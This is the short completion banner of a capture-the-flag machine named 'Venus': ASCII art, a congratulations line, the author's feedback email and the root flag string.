@@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@
@@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Congratulations on completing Venus!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_83588a17919eba10e20aad15081346af]